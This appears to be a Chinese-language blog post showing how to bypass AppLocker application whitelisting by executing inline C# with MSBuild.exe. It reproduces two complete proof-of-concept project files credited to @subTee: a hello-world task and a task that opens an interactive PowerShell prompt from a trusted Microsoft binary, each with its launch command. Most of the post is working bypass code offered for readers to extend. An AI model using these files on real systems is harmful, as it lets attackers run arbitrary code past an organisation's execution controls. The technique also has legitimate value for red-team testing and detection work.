Bypassing Applocker with MSBuild.exe

前一篇文章总结了几种bypass Applocker的方法,最近又在 @subTee 博客学到了新的方法,所以在这里进行一下简单的分享。

首先介绍一下MSBuild,MSBuild 是 Microsoft 和 Visual Studio的生成系统。默认是存在于windows系统上的。那么怎么使用msbuild执行我们的代码呢? 关于细节可以看这里:

https://msdn.microsoft.com/en-us/library/dd722601.aspx

@subTee 给出了几个POC。

Demo

测试Hello World:

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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<FragmentExample />
<ClassExample />
</Target>
<UsingTask
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello From a Code Fragment");
]]>
</Code>
</Task>
</UsingTask>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<!-- <Reference Include="System.IO" /> Example Include -->
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;

public class ClassExample : Task, ITask
{
public override bool Execute()
{
Console.WriteLine("Hello From a Class.");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

以上文件保存为123.csproj,然后使用msbuild执行。

Execute PowerShell Commands

我们知道通过c#是可以执行powershell的,那么同样的,使用msbuild也可以。

pshell.xml

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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<FragmentExample />
<ClassExample />
</Target>
<UsingTask
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.IO" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello From Fragment");
]]>
</Code>
</Task>
</UsingTask>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[

using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;

public class ClassExample : Task, ITask
{
public override bool Execute()
{

while(true)
{

Console.Write("PS >");
string x = Console.ReadLine();
try
{
Console.WriteLine(RunPSCommand(x));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}

return true;
}

//Based on Jared Atkinson's And Justin Warner's Work
public static string RunPSCommand(string cmd)
{
//Init stuff
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Add commands
pipeline.Commands.AddScript(cmd);
//Prep PS for string output and invoke
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}

public static void RunPSFile(string script)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(script).Invoke();
}


}




]]>
</Code>
</Task>
</UsingTask>
</Project>

可以扩展的地方还有很多,想玩儿的可以在琢磨琢磨。

------本文结束,感谢阅读------

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